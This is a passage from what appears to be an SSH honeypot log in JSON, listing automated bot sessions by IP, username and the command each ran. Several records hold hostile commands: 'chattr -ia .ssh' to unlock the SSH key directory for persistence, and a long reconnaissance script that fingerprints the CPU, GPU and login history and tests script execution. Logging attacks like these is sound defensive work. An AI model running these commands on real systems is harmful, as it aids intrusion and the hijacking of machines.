2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:35:21.086778+00:00",
  "ended_at": "2026-08-27T04:35:21.555583+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "81aba5a5-1868-45cf-ba64-b52f1dc6eb5f",
  "name": "umber-frank-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 56734,
  "username": "Test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 315,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:35:18.529512+00:00",
  "ended_at": "2026-08-27T04:35:19.542165+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2137
 },
 {
  "id": "b6a37fd8-baf1-4ddd-945b-c9987396ca44",
  "name": "solar-lonesome-cormorant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 48952,
  "username": "Test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:34:56.965843+00:00",
  "ended_at": "2026-08-27T04:34:57.742093+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5e70a86a-c75d-46c3-90ad-d38507aa43be",
  "name": "zealous-slender-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 56742,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:34:55.446400+00:00",
  "ended_at": "2026-08-27T04:34:56.310759+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d0fffd95-c3ac-4554-a3be-d1305d041c03",
  "name": "gentle-lively-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 59440,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:33:20.448487+00:00",
  "ended_at": "2026-08-27T04:33:20.619505+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "797f7ea9-5551-4773-934f-068e502d14c2",
  "name": "frugal-dusty-cormorant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 48826,
  "username": "miner",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:33:19.591657+00:00",
  "ended_at": "2026-08-27T04:33:21.856561+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2131
 },
 {
  "id": "389856fc-d0c6-4091-849f-68dedc816644",
  "name": "brazen-pleasant-snipe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 48848,
  "username": "miner",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:32:54.050969+00:00",
  "ended_at": "2026-08-27T04:32:56.040923+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3f703daf-59e0-4784-b490-ed6aaeca1a93",
  "name": "thrifty-serene-heron",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 48840,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:32:51.893367+00:00",
  "ended_at": "2026-08-27T04:32:53.385677+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9e90a36e-8ad2-413c-9459-9fd848fb95bf",
  "name": "fearless-sleepy-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 53292,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 320,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:31:21.052647+00:00",
  "ended_at": "2026-08-27T04:31:23.085115+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2172
 },
 {
  "id": "e330f1c0-4221-4025-a922-1fc28ee159ad",
  "name": "foggy-sunlit-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 56478,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:31:15.406157+00:00",
  "ended_at": "2026-08-27T04:31:15.591224+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "38eb4f5d-6460-47b9-96f5-aac08b3ebdef",
  "name": "zealous-blithe-chough",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 64761,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:31:14.237695+00:00",
  "ended_at": "2026-08-27T04:31:15.897963+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6fc34064-f0a5-4c8b-bb20-5f614acf8d5c",
  "name": "gentle-bitter-gazelle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 37408,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:30:59.431434+00:00",
  "ended_at": "2026-08-27T04:31:01.242355+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "43c7f0e5-9fc1-4982-8c9b-6a88c083f7d1",
  "name": "golden-smooth-skink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 37398,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:30:56.925156+00:00",
  "ended_at": "2026-08-27T04:30:58.817727+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "339b0e76-ec1c-4cdd-80ff-9dafa1e94441",
  "name": "plucky-frosty-tinamou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 60444,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 312,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:29:19.102327+00:00",
  "ended_at": "2026-08-27T04:29:20.501614+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2114
 },
 {
  "id": "768fab50-efa8-4d4e-b633-0a642a71cde7",
  "name": "dusty-rambling-ferret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 53494,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:29:07.402685+00:00",
  "ended_at": "2026-08-27T04:29:07.523203+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "3612625a-e2c4-4c32-811e-07961a01d61c",
  "name": "loyal-blunt-lemur",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 60464,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:28:51.991756+00:00",
  "ended_at": "2026-08-27T04:28:53.788059+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "09f26b00-1b48-40e4-a7dd-2becc19d3cc1",
  "name": "nautical-hushed-kiwi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 60452,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:28:50.397291+00:00",
  "ended_at": "2026-08-27T04:28:51.371020+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "598c3e8d-de08-4375-9411-893b5c927720",
  "name": "early-whispering-squirrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "59.36.78.66",
  "src_port": 54174,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:28:17.423085+00:00",
  "ended_at": "2026-08-27T04:29:16.145011+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fe75ede1-d03c-413b-a6e0-7974dc8a3b9f",
  "name": "granite-thrifty-cuckoo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "59.36.78.66",
  "src_port": 53122,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:28:14.218563+00:00",
  "ended_at": "2026-08-27T04:28:15.899280+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a3e4464a-3357-4c16-9afe-e09abe9d19c5",
  "name": "painted-bronzed-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "59.36.78.66",
  "src_port": 52092,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:28:12.532386+00:00",
  "ended_at": "2026-08-27T04:32:13.060382+00:00",
  "ended_reason": "exec complete",
  "commands": 2,
  "transcript_bytes": 522
 },
 {
  "id": "90ab820f-1e5d-45ff-9df5-91cbf696428e",
  "name": "russet-painted-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 42302,
  "username": "toor",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 318,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:27:20.981649+00:00",
  "ended_at": "2026-08-27T04:27:22.191785+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2091
 },
 {
  "id": "712e374d-ad5b-4fa9-94f0-6047a62aca36",
  "name": "murky-wiry-otter",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 50526,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox 